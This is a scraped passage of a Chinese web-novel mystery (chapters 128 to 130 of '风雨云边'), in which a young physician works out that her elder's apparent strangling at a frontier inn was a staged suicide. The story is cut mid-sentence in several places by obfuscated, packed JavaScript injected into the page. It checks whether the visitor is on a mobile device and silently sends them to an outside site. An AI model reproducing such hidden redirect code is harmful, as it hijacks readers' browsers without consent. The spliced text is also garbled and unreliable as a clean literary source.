l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422318|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带探一探老板娘的虚实的,一看到谢云初的暗示,立刻心领神会。 “点菜,我让你点菜,”说着,从桌上筷筒里抽出几根筷子就往谢云初身上抽去。 那谢云初左闪右躲,又不好还手,一时间颇为狼狈。 “诶,你怎么还打人啊?”牡丹正要去帮腔,就看到谢云初往角落躲闪去,而后头的夕瑶一脸怒意未消,举着筷子跟在身后。 “老板娘,今天还有什么菜啊?”牡丹刚想去挡,手臂被另一个住客抓住。她努力甩了甩,“哎呀,菜色不都挂在菜牌上么,你自己看去。” 正要走,对方却不放人,“哎呀,老板娘,你这也太厚此薄彼了。人家小哥长得俊俏,你不仅给人家细讲了菜蔬,甚至还要送人家几盘。怎么,看俺长得粗,连说个菜都不耐烦啊。” 这人是做皮货买卖的,这几年一直走的事这条线,一两个月就要来住店一次,每次出手也爽快,所以牡丹并不好开罪他。 她扯出一张笑脸,“哎呀,哪里的话啊。您是走南闯北,什么山珍海味没吃过,哪里就稀罕一点子海菜呢。对了,说起来,这两日有酸角呢,我回头让阿大给您送点到屋子里去,我记得您家的老太太就好这一口呢......” 牡丹一边应付着皮货商,一边心里还惦记着谢云初,结果说完一回头,两个人不见了。 谢云初和夕瑶自然也没有走远,一闪身进了厨房。 “你看看这厨房可有不妥,我刚刚一进门,老板娘就要把我支出去。”谢云初把夕瑶藏在身后,自己走到阿大身旁,挡着夕瑶的身形。 两人原本还担心阿大发现了如何是好,结果阿大全程只看了谢云初一眼,专心回到砧板上忙去了。刚才的一整只羊,如今已经被大小匀称地切好放在一旁,他手起刀落正忙活着切第二只。 夕瑶绕进厨房以后,没着急翻找。她定了定神,略略思考了片刻才动手。避开灶台边上那些竹篓箩筐里的菜蔬和挂着的肉类,她直奔墙边木制的半柜。 这是个用久了的抽屉柜,面上已经有一层粘手的油污。夕瑶小心打开抽屉,草果,豆蔻......所有的抽屉都检查了,里面存放的都是做菜用的香料。 时间紧张,老板娘不知什么时候就进来了。夕瑶又转向灶头,五六个瓦罐,放的都是常用的调味料。 “不应该啊,”夕瑶喃喃自语,手上却是没有放慢丝毫。 夕瑶蹲下身子,甚至连炉膛的内壁也检查了,没有东西啊。正当她疑惑的时候,顺手拿起了灶台边上的油壶。刚拿上手,夕瑶就觉得手感不对。一般家里用的油壶,大多是瓷器或者陶器,可这个油壶拿起来一晃,里面仿佛有两种液体撞击声。 “九曲鸳鸯壶?”夕瑶大为震惊。这个记载在前朝医书上,世间罕有,能够同时装有毒和无毒酒的壶就这样意外地出现在了自己眼前。 一个边塞的小客栈,居然会有如此珍贵罕见的宫廷酒壶,还是这样随意的当做油壶使用。 来不及细想,夕瑶回忆着书上的记载,分别打开了两个注水口检查。一边就是普通做菜的油,另一边,是普通的加了剂量的蒙汗药。 128. 风雨云边 11 夕瑶和谢云初来不及多想,眼看着快到饭点了,大厅里的客人也陆陆续续多了一些。两人看准机会,闪出了厨房,找了个柱子后头不起眼的位子。 谢云初凑近夕瑶,把他刚刚盘算过的客人一一给夕瑶指点了一番。到了这会儿,几乎所有客人都来齐了。 两人仔细观察了一番,心里的石头终究是落了地。所有客人中间,没有手指如此纤细之人。 所以屏风顶端那四个手指印,只能是老板娘自己留下的。 看这会儿老板娘牡丹如同一只花孔雀一般穿梭在大堂的客人中间,夕瑶眯起了眼睛,脑袋靠在柱子上。 “为什么呢?”她喃喃自语道。 这案子到这里,也算是初步明了了。可是原因呢?动机呢?为什么要这么做呢? 她用右手手指缓缓敲击着一人多粗的柱子,却怎么也想不明白。人做事情,都是要原因的,何况是冒了这么大风险的事情。可是这件案子里,不光是老板娘的行为她想不明白,就连师公,她也想不明白。 她这一头正烦恼着,另一头的牡丹又来送钢火(火上浇油)。哐当两下,一盆海菜鱼羹,一盆鸡蛋炒海菜,就这样水灵灵地上了桌。 “闹,今儿这海菜可新鲜了,水灵灵的。两种做法我都做了,给外面来的客人试试。”边说着,还边朝着谢云初抛了个媚眼,“姐姐请你吃。” 夕瑶本来想要无视牡丹挑衅的眼神的,但是想着既然是做戏,索性做个全套,就回了她和谢云初各一个白眼。 说来也是有趣,见夕瑶这个反应,牡丹倒是来劲儿了。给谢云初递过一双筷子,非要他趁热尝尝。 刚刚在厨房里看到了九曲鸳鸯壶,谢云初这会儿看到这两碟子海菜,心里有点犹豫,不知道这菜里有没有被“加料”,可看夕瑶靠着柱子,一副老神在在的样子,也就把心放下了。一大筷子入嘴,别说,这海菜清脆爽嫩,搭配鸡蛋,一个软滑,一个脆嫩,味道着实不差。 牡丹见谢云初吃得高兴,脸上的笑更是藏都藏不住。“哎呀,你要是喜欢吃啊,我晚上再做给你吃。厨房里还有呢。” 听牡丹自己提到了厨房,谢云初顺着她的话匣子往下说,“我刚刚进厨房,看到阿大正在切羊肉。那刀工,很是了得啊。我看那只羊,少说也得几十斤吧,他一手拿着羊腿,轻松甩到案板上,几刀就把羊卸开了。我也算是走过一些地方,这刀工,这力道,可算是第一次见识,算是开了眼了。” “他呀,就是一身蛮力,不值得什么。”牡丹一句话轻轻带过。 “老板娘,你也太谦虚了。像阿大这样的身手,可是少见啊。不知道他以前是师从何处啊?” “嗨,什么师从不师从的,这小子就是力气比常人大一些。在我们这山里头嘛,每日里做一些粗活儿,日子久了,可不就是长力气了么。”说着,牡丹像是想起了什么,站起身,说了句“你慢慢吃啊,”然后匆匆走了。 谢云初和夕瑶眼神一对,能让牡丹拔腿就走的,看来这个话题是触及到了什么,这个阿大,有点意思啊。 午饭刚过,这天不知为何又暗了下来。原本今日这就是中元节,大家多少心里有点忌讳,不愿出行,加上眼看着大雨将至,于是一屋子人,吃了午饭,又留了下来。或回房睡觉的,也有的索性留在楼下大堂打起了叶子牌。 夕瑶终于写完了家书,正封了口,就听到旁边屋子有动静。 “可是柳四回来了?” “是,我回来了。姑娘,您若方便,过来一趟吧。”墙的另一端,传来了柳四的声音。 见了面才发现,柳四这一趟出去可是遭罪了。大老远去了知县衙门,谁知知县老爷不愿见人,说今日日子不好,这叫什么事儿?更不用说,县衙里的仵作的确就如大伙儿之前说的那样,已经有些日子无法上工了。县衙里的人略略问了问案子情况,手下了验尸记录,然后就打发柳四回来了。甚至连尸首都不必拉进义庄。 回来的路上,有被大雨从头到尾浇了一身,这会儿在屋子里,虽说已经换过衣裳了,但是地板上还留着一个一个的湿脚印。 柳四说着说着,这火气就上来了,“这些个地方官员,出了人命都这幅不痛不痒的架势,可见尸位素餐已久。” “不送去义庄也好。那义庄是什么地方,我也真不忍心让师公受这个罪。如今,死因我大致已经查清了,只是这背后的原因实在是还没想清楚。” “死因已经查清了?”谢云初和柳四异口同声问道。 夕瑶点点头,只是她也不知道怎么解释,这说出口,实在太匪夷所思了。 “对了,将军之前交代的,兄弟们查到了一些端倪,”柳四说着站起身,从包袱里拿出一个用油纸包裹的东西递了过来。 夕瑶打开一看,“五等丁产簿?官府给你看了这个?” 这五等丁产簿记录了附近地区近十几年各村落各户的人口情况。昨晚夕瑶看到牡丹和阿大在神秘地祭拜,第一个想到的就是要查查这个。 “哪能呐,这官府,屁事儿不干。不过咱们自有门路,找人抄了一份出来。” 夕瑶点头应了声,赶紧翻阅,“咦,有点不对啊,这上面记载,近十几年来,这附近的村子,并无灾害或者战乱呐。” 她合上本子,在脑子里盘算了一下位置,“这乌金寨,是不是也在这级府衙的管辖范围之内?” “乌金寨地理位置特殊,刚好在两国的交界之处,所以尽管位置上算是该级府衙辖区内,实际上却是由上一级衙门亲管。” “怪不得,这簿子上未有记录呢。” “只是......”谢云初皱着眉头,有些疑惑。 “只是什么?” “只是,这边境的战事,牵扯面广,往往不是一两个村寨遭殃这么简单。就算乌金寨是归上一级管,附近别的几个村寨总算是本级府衙管辖。但是你看,”谢云初指着五等丁产簿的一处,“这几年,战事凶得很,方圆很多村落都遭了殃。可是在这个本子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502948|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,却丝毫没有提及,甚至连人丁数量也未有明显减少?这是为何?” “对哦,”夕瑶看着簿子上的数字,也觉得不可理解。“你是说,有人造假?可是朝廷不是每年都有复核么?如此拙劣的造假,不怕被发现吗?” 看夕瑶和谢云初两人对着个簿子想破头,柳四有拿出了另一个东西。 “我初看到这个数字,也觉得疑惑,所以看着时间还早,我骑马去了一趟架阁库。这是从架阁库中抄录来的,同一时间段,各个村落的户籍和赋税情况。” “哎呀,这个好。人口户籍能造假,赋税可是得实打实上交的。”夕瑶接过了本子,忙不迭地翻到了那几年的记录。 “这......”翻阅打开后,夕瑶反而傻了眼。“这几年,都没有赋税记录啊。” “都没有?”谢云初初一听,也觉得奇怪。 “是啊,最开始的记录里,写着架阁库年久老化,受天火直击,部分年月的资料被毁,抢救不及。所以那部分缺失的,只能从上级架阁库中抄录回来,但是上级的只有整个地区的数字,并无各家各户的具体数字。然后你们看这里,”夕瑶把油灯拿近了些。 “这几年,刚好是边境战乱的几年吧,就是这么巧,一场大火,各家各户的数字烧没了。然后再往后的几年,刚好是当今官家登基,各地减免赋税,到了西北这块,刚好是免了三年的赋税,所以数字依旧为零。” “所以这样看起来,这个地方,前后一共有近5年的时间,是看不到各家各户的赋税的。同时结合刚刚五等丁产簿记录的人口情况,我们能大致推断,这个地方,当年很大概率是出过事儿了,而且是大事儿。这个事儿,最后由某一个,或者某一些大人物压了下去,然后就形成了今天这个局面。”夕瑶简单做了个总结。 一阵风吹过,屋子里灯光摇曳。明明还没到深秋,屋内的三人,却都感受到了一种说不清道不明的凉意。 “我想要去求证一件事儿,”夕瑶想了半晌,终于拿定了主意。“对,这个事儿很重要,和此案有极大的关系,我想要去求证一下。” 她转向谢云初,“我需要你的帮忙。” 帮忙,自然是没有问题的。可若是谢云初知道,是这样的帮忙,恐怕最开始也不会一口答应吧。 此刻的他,坐在后院老板娘牡丹屋子前的走廊下,等着她在屋里梳妆打扮。一会儿功夫,牡丹开门出来,摸了摸自己的鬓角,“怎么样,我好看吗?” 谢云初扯起了一抹嘴角,“好看啊。” 来往路过的客人,在后头“小声”议论,“这郎君这样讨好牡丹,回头回屋怕是要被自家婆娘收拾咯。” “回屋,要我说,不回屋也使得啊......”人群中传来了暧昧的笑声,让谢云初的耳根子都火辣辣的。 而另一头,夕瑶绕进了厨房里,正拉着阿大的手臂,“大哥,您就帮帮忙吧。我家幼弟在外头淋了雨,受了风寒,想要洗个热水澡。您就帮我提个水吧。” 129. 风雨云边 12 阿大个子极为高大,常人没等走近,心中便生了恐惧之心,鲜少有人与他说话。加上他为人木讷,所以日子久了,阿大也习惯了独来独往。除了牡丹,他对于别人的话根本不放在心上。 眼下的这个小娘子,长得瘦瘦小小一只,双手抓着他的胳膊,仰头看着他,“大哥,能帮忙提个水吗?水桶实在太重了,我提不上楼。” 阿大瞅了瞅她,又看了看她身边那个比她腰身还粗的水桶,伸手就一手一个桶,帮她提了水进屋。 前后也就是不到半炷香的时间吧。这一头,谢云初送给了牡丹一支钗花,引得大伙儿都在围观;另一头,阿大帮夕瑶拎水桶进屋。 等一切都忙完,夕瑶打开窗户,悠悠地叹出一口气。月影绮罗香,只用了极其微小的分量,能够让人在片刻之间产生幻觉,过后便如同月光一般,云层一遮,不留丝毫痕迹。 然而这片刻,对于夕瑶来说,已经足够了。 够她完整地诊个脉,检查了阿大头部的各个穴位,甚至还看到了他身上的旧伤。 这个案子从一开始,便如同雾里看花一般。一层层抽丝剥茧,收集各个证据,如同那时候唐棠玩的七巧板一般,总是要等到最后一块放定了,才知道最后是猫是狗。 而现在,就差最后一块了。 晚饭过后,客人们都陆续离开了大堂。夕瑶在楼上,隔着门缝,看牡丹和阿大收拾着桌面和碗筷。又等了半个时辰左右,看厨房的灯灭了,估计两人收拾完回屋了。 “我自己去吧,人多了,恐怕反而不好开口。”夕瑶看着屋子里的谢云初和柳四,打着商量。 “不行,这云边客栈是出了名的黑店,谁知道牡丹的屋子里还有没有什么机关暗器,你一个人去太危险了。”谢云初想也没想,上来一口否决。身后的柳四也一脸不赞同,“姑娘,你一个女子,也不会武艺,这样进去,太危险了。” “不入虎穴,焉得虎子。更何况,有些事情,可能牵扯到人家的阴私,人多了,更不好开口。” 夕瑶见说不动他俩,只得退了一步,“你看这样行吗?你俩暗中守在门口,若是有危险,我在里头一唤,你们就能听见,冲进来救我。如何?” 见两个木头还是没动静,夕瑶微微叹了口气,“这云边客栈,说是黑店,多半和往常的那种黑店不同。店里的两人你们也见了,老板娘牡丹,一个女子,不会武艺,而阿大呢,空有一身蛮力,对付对付外头那些人还行,你们两个,随意一个就能治住他,这还有什么好担心的?” “那是明面上的,暗地里的呢?”谢云初还是不放心。 “暗地里,你说九曲鸳鸯壶?”夕瑶有些好笑地看着谢云初。也是,医学世家出来的姑娘,区区一点迷药,实在算不上什么。 谢云初心中还是犹豫,但是想着案子,终究还是拗不过夕瑶,答应了,“你进去可不能莽撞,若是有事,不必顾忌,随时出声喊我们,我俩就守在外面。” “嗯!” 天色已晚,夕瑶也不多磨蹭,略略整理了一下衣服,就往牡丹的屋子走去。 牡丹的屋子位置很巧妙,在后院边上,紧贴着阿大的屋子,和一侧的石墙形成一个窄角。若是有登徒子半夜里来骚扰牡丹,就得先过阿大这一关。 敲门略等了一会儿,牡丹隔着门问道:“谁啊?” 夕瑶耳尖地听到,隔壁阿大的屋子也淅淅索索有了些动静。 “是我,住楼上东边最里面屋子的。” 一阵踢里踏拉的声音过后,牡丹拉开了房门,“进来吧。” 此时的牡丹,仿佛是刚刚沐浴完,身上还带着清新的皂角香气,发梢的水汽尚未干透,脸上脂粉不染,身上也就是随手批了一件半旧的外袍。可不知为何,夕瑶总觉得,这时候的她才最符合牡丹这个名字,娇艳欲滴,国色天香。岂是白天厚厚脂粉下的假面可以相比的。 见只有夕瑶一人,牡丹忍不住挑了挑眉,“另一个呢,怎么没和你一起来?还是躲在暗处呢?” 被她这一说,谢云初和夕瑶都有些不好意思。 “没事,来了的话,一起进来吧。”牡丹任由门开着,转身往屋子里走,走了两步,似乎记起了什么,又回过身,探出头,朝着门外嚷了一句,“阿大,没事的,你先睡吧。” 夕瑶对着暗处的谢云初点了点头,两人一起走进了屋子,柳四留在外头盯着。 “你似乎知道我会来找你?见到我夜里来敲门,一点都不惊讶。”夕瑶跟随着牡丹进门,很快扫了一眼牡丹的屋子。 没有想象中的旖旎缱绻,就是简简单单的屋子,甚至还比楼上的客房捡漏一些。若说有区别,就是更大一些吧。屋子分为里外两间。外间一进门是个小茶桌,然后靠窗放着个书桌,旁边摞着一些账本,边上是一个樟木的抽屉柜,从成色上看,估计是用了些年月了。整个外间看起来,除了窗台上土陶罐里从插着的一小把野花。几乎看不出来是个姑娘的闺房,还是个这么漂亮的姑娘。 里间是卧房,和楼上客房一样式样的木床,上面挂着个洗了略褪色的松叶色帐子,旁边的妆台上倒是摆着不少瓶瓶罐罐,还有估计刚刚卸下的钗环,就这样胡乱堆放着。唯一有一支钗花,单独被放在一边。夕瑶一眼望去,就是刚才谢云初送的那支。 “随便坐吧,”牡丹抬抬手,随便招呼着,一手提着茶壶,往杯子里倒出两杯半温的茶水,“没什么好茶叶,你俩对付着喝一口吧。” 谢云初略略有些意外,这牡丹,刚才几个时辰前,还是热情四溢呢,怎么这会儿如此冷淡。 只有夕瑶面色淡淡的,拿起茶就喝,“茶叶是一般,不过好在水温刚好,入口倒是舒适。” 牡丹没接话,点点头坐下来,给自己也到了一杯,见谢云初没喝,轻笑道,“放心喝吧,没下药的。再者说,就算下了药,你身边这位小娘子,不是也可以轻松解了么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13532765|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >见谢云初露出了诧异的表情,牡丹忍不住掩嘴笑了,“怎么,你们不会觉得自己瞒得很好吧,谢将军和唐娘子。” “老板娘好眼力啊,只可惜,我还不知道你的真实姓名呢。牡丹,应该只是别人硬塞给你的名字吧?”夕瑶放下杯子,两眼注视着牡丹,笃定地说道。 “你怎么知道这不是我原本的名字?农家取名,以花为名的可多了,桂花槐花的都有,怎么就不能有牡丹呢?” “取名自然可以有牡丹,可是,你不是牡丹啊。”夕瑶略略勾起了嘴角,“你识文会算,人情通达,心思缜密,面对外头一帮不见得安了多少好心思的糙汉,能言语压制,也能武力制服,整个西北边境,提起云边客栈,谁不心里抖三抖,这样的老板娘,怎么可能是一个会随便以花取名的农家女出身呢?” 夕瑶的眼睛亮晶晶的,面对这老道的老板娘也丝毫没有躲避,这倒让对方略略起了一点敬佩之意。“你说得对,我原名不叫牡丹,我叫逍然,柳逍然。” “逍然,逍遥自在,纯真天然,好名字。想来令尊令堂十分宠爱你吧。” “是啊。”牡丹的思绪有一丝飘远了,等她再回过神来的时候,脸上只剩下了一丝苦笑,“逍遥自在,纯真天然,只可惜,我一个都没有做到,辜负了爹妈给的好名字。” 也就是一瞬间的软弱,一瞬之后,牡丹仿佛什么事情都没有发生过,双手交叠着放在桌上,“好了,天色也不早了,闲话不多说,二位来找我,是有什么事呢?” “你既然知道我是谁,自然也能知道我和楼上死者的关系了。牡丹,我就不饶圈子了,我想知道两件事,第一件,我师公是如何被马先之子马守义蛊惑,进而自尽的?哦,他在外还有另外一个名字,叫郭不忘,不过我猜,他联系你的时候,用的还是马守义这个名字吧。” 见牡丹没有反驳,夕瑶接着开口,“另外,最令我好奇的是,你是如何被马守义控制,进而愿意帮助我师公自尽的呢?” “等一下,夕瑶,你说白老太爷是自尽的?”谢云初实在不敢相信这个结论,“自尽,为什么呢?” “是啊,为什么呢,师公一生治病救人无数,从不与人结怨吗,也从未做过什么违背良心的事情,是什么让他这个年纪了,偏偏选择用这样的方式结束自己,我也很想知道啊。” “会不会弄错了,怎么会是自尽呢?”谢云初还是不敢相信。 “最初,我也不敢相信,”夕瑶转过脸面对着谢云初,一脸悲伤。“可是人死了是事实。我们调查了这么久,当时那个情况,屋子里唯一有机会进去的是老板娘牡丹。可要说是牡丹动的手,也不尽然。我师公虽然年事已高,但是身体依旧健朗,万万没有任人宰割的道理。排除了所有的不可能,剩下的唯一可能性,就是真相了。” 夕瑶把脸转回,面对这牡丹,双眼紧紧盯着对方的眸子,一字一句地说道,“我师公,是在你的帮助下自尽的,对吗?” 130. 风雨云边 13 牡丹对视着夕瑶的目光,那是一双眼眶略红的眼睛,诚恳中带着深深的悲伤,牡丹最后还是移开了眼睛。 她没说话,用手指轻轻摸索着茶杯的边缘,仿佛一时想不好要怎么开口。 夕瑶也不催她,三个人,就这样静静地坐在屋子里。 终于,牡丹叹了一口气,把杯子里的茶水一饮而尽。“罢了,你既然已经查到了白老爷子的死因,也说到了马守义,想来其中的关窍早已想通,再藏着掖着也没什么必要了,你有什么想问的就直接问吧。” 见牡丹愿意开口,夕瑶心头的大石略略放下。此案过于离奇,他们手里有的线索又少,要是牡丹闭口不愿意说,这案子恐怕也只能通过猜想,无法实证。 “我师公是自尽的,对吗?”虽然心中已经想定,可是夕瑶还是想要当面和牡丹确认一下。 “是,老爷子是自尽的。”牡丹的视线移向自己的双手。这双手,曾经也是提笔写字听风抚琴的,可是后来,她使过柴刀也砍过地痞,摸过来往商人的荷包,也给他们下过迷药。她从来不曾后悔。人么,总是要学会先活下去。更何况,她下手的这些人,也算不得什么好人。就好比这林子里,野狗吃兔子,老虎吃野狗,天经地义。 可是白老爷子,马守义和她说,若是老爷子自己没有下决断,要她下手送人家一程。后来虽说老爷子是自己走的,可她心里终究是不踏实。这双手,这几日一直时不时有细微的抽动,不受控制一般,旁人看不出来,可她自己心里有数。 如今,这右手又开始抽动了,从食指一直到虎口,那一根血管,仿佛莫名地躁动。 牡丹用左手盖在了右手上头,视线回到夕瑶的脸上。 “师公事先和你说好,然后双手放在喉咙处,用宽幅丝带绕过,一头穿过窗户的缝隙,系在一楼的石磨上,另一头从进门处的屏风处绕过,最后打结,绳结挂在客房两扇门的门缝外。等一楼大厅里吃饭的客人基本都到齐了,你就让阿大把后院马房里头养着的驴牵过来,让它磨磨,这样丝带自然被收紧,进而在勒死人以后,在脖子上留下手指印,造成被人勒死的假象。” 夕瑶拿出之前收集到的布屑,一一放在桌上。 “然后你算好时间进去送饭,解开丝带的一头,另一头因为还在石磨上,自然绕着绕着,就整个收回去了。” 见牡丹没有否认,夕瑶继续说,“我在检查师公尸体的时候曾经觉得奇怪。一般人如果是被他人掐死,凶手的拇指和食指发力最大,所以在喉咙处留下的痕迹也最深。而师公的喉咙上,一排指印却一般深浅。另外,我在师公的手背上,虎口附近发现了极浅的两道痕迹,想来是丝带受力以后,在手背上留下的勒痕。” 谢云初看着夕瑶拿出来的布屑,回忆着每一条布屑的位置,结合夕瑶说的手法,在脑子里形成了一个完整的画面,慢慢理解了整个过程。“可是,为什么呢?白老爷子为何要自尽呢?又为何做出了他杀的假象?” “是啊,”夕瑶转头望向谢云初,“这也是我想不通的地方。师公一生治病救人无数,也从不与人结怨,我实在想不通他为何要自尽。就算是真的有自尽的理由,可为何要做成他杀的样子?” 两人的目光回到老板娘牡丹身上,想要寻找答案。 “哎呀,你们别看我,”牡丹有些慌张,对于白老爷子的死,她这心里如同放了一块牛皮糖一般,上不去下不来,一直梗着。 见牡丹对于这个话题不愿开口,夕瑶缓了缓,另外找寻了一个角度。“或者,你同我们说说马守义?你们应该认识好些年了吧,这个云边客栈,实际的东家是他吗?” 看他们没有抓着死因不放,牡丹心下一缓,倒是也愿意说一些。“马守义是马先将军之子,马将军在乌金寨一役战死沙场,就留下了这个独苗,所以马守义也算半个西南人吧,他是在这里长大的,对附近的情况也都熟悉。后来他去了江南,好像还改了名字做了官......”牡丹说到后面,略略有点犹豫,不知道话要讲到哪里才好。 “马守义在杭州府任通判一职,改名为郭不忘,我们见过面。”夕瑶点到为止。 牡丹伸手拿过一旁的茶壶,给两人续了点水,“你们二位和他,是有些龃龉吧?” 见牡丹用了猜测的语气,夕瑶心里暗暗揣测,不知道他们和郭不忘的过节,牡丹知道多少。 牡丹经营客栈多年,察言观色最是擅长,一看面前的两位没说话,就知道自己猜对了。可是,她也有自己的小九九,眼前的这两个人,各有各的来头,都是她得罪不起的,所以心里也暗自掂量,看话要说到哪里为好。 夕瑶大致猜到了牡丹的顾虑,想了想,开头道,“你看这样好不好,后面的话我来说,你只需要告诉我对还是不对即可。猜中了,就算是我运气好,与你无关,猜不中,那自然更和你没有牵扯。” “我猜想,这家云边客栈,其实背后的推手就是马守义吧。这里地处偏僻,却刚好是西南出关的必经之路,来往的商贩多,三教九流的人也多。要命不要钱的,更是大把。就凭你和阿大两人,想要守着一家店,怕是不容易。可若是有个官府中人在背后撑腰,那就不一样了。” 牡丹不说话,一双眼睛亮晶晶的。 见对方没有反对,夕瑶继续开口,“从师公过世到现在,也不少时间了,可官府迟迟没有动作,就连我们送去的验尸笔记也只是草草收下,别说断案了,连拍个仵作复验都不曾。看来你这云边客栈的名号,在这里可是十分管用啊,想来这样住客死亡的事情,不是第一次了吧?” 夕瑶探究的眼神,让牡丹有点心虚,她咧着嘴角打起了哈哈,“哪里的话,咱们这里是小地方,平日里官府也忙得很,哪里顾得上我们这些小事啊。” “都出了人命,还算是小事啊,那不知道这里的官府衙门,日常处理的都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687239|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么大事呢?”谢云初接了一嘴,搞得牡丹有些尴尬,“这官老爷的事儿,咱们哪里晓得咧。” “让我们假设一下,如果有一个客栈,开在南北通行的必经之路上,来往的客商自然吃饭打尖的多。但若是进门以后发现,这客栈里头,只有一个貌美如花的老板娘和一个憨厚老实的伙计,这一群客商会如何?会是正人君子,还是暴露出人性最不堪的一面呢?”夕瑶接着给牡丹的茶盏里续水,手背擦过牡丹放在桌上的双手,一片冰凉。 这些事情,在她嘴里不过是三两句,但是她能想得到,牡丹所经历的,恐怕是一段闭上眼睛都要做噩梦的日子。 右手又开始抽动,这次不光是虎口的位置,甚至连手腕都开始不自觉的抽搐起来。牡丹慌忙地捧起茶盏,想掩盖一下,却不知道洒出的茶水,已经沾湿了她的衣袖。 两三口暖茶入喉,胸口终究是暖和了一些,牡丹放下茶盏,感觉自己的心跳也没有刚才这么快了。她双眼盯着茶盏,脑子里却不自觉浮现出几年前的场景。 是啊,夕瑶说得对,一个弱女子,还是有些姿色的弱女子,带着个智力有些缺陷“弟弟”,看着是个小伙子,事实上和孩子也没什么区别,在这里讨生活,可太不容易了。那些日子,多少次,她都觉得自己要熬不下去了,可若是自己走了,阿大要怎么办,把他一个人留在这个吃人的地方,她实在是不放心。根本没有选择,只能咬咬牙,继续熬下去。吁,好在是熬过来了,终于熬过来了。 “好在呢,很快,这个老板娘的一个故人回来了,他已经为官多年,在当地衙门里颇能说得上话,加上此人能说会道,手头又宽裕,一番打点下来,当地的官府也就成了云边客栈的保护伞。从此之后,但凡是敢在云边客栈闹事的,转头就被抓去衙门了,轻则打板子,重则吃上几年牢饭;而若是云边客栈有客人丢失了钱财,或者意外身亡了,那官府定然是忙于公务,姗姗来迟,案子也迟迟拖着不给个说法。” “若是这个故人再有心一些,在市集上雇上几个嘴长的,到处散布一些有关云边客栈的故事,一些有的没的,神神鬼鬼的,说的多了,自然有人信,信的多了,这云边客栈在人们心中,也就变得可怕起来。有贼心的没有贼胆,真的被店里打劫了钱财的,也就自认倒霉,没有多少人再敢在云边客栈撒野了。” 夕瑶一抬头,“老板娘,我说得可对?” 话说到这个份上,再藏着掖着也没多大意思,牡丹忍不住带着赞赏的语气回道,“想不到啊,你年纪轻轻一个小女娘,才住进云边客栈这么短的日子,不光案子破了,连我这云边客栈都被你摸得底儿朝天。不过你有一件事说得不准确,这云边客栈,的确就是我自己开起来的,马守义帮了一些忙,但是也不算是幕后东家。我每年分他一些银钱便是。” “那我师公自尽这件事情,牡丹,你的协助是出于你的自愿,还是出于马守义的要求呢?”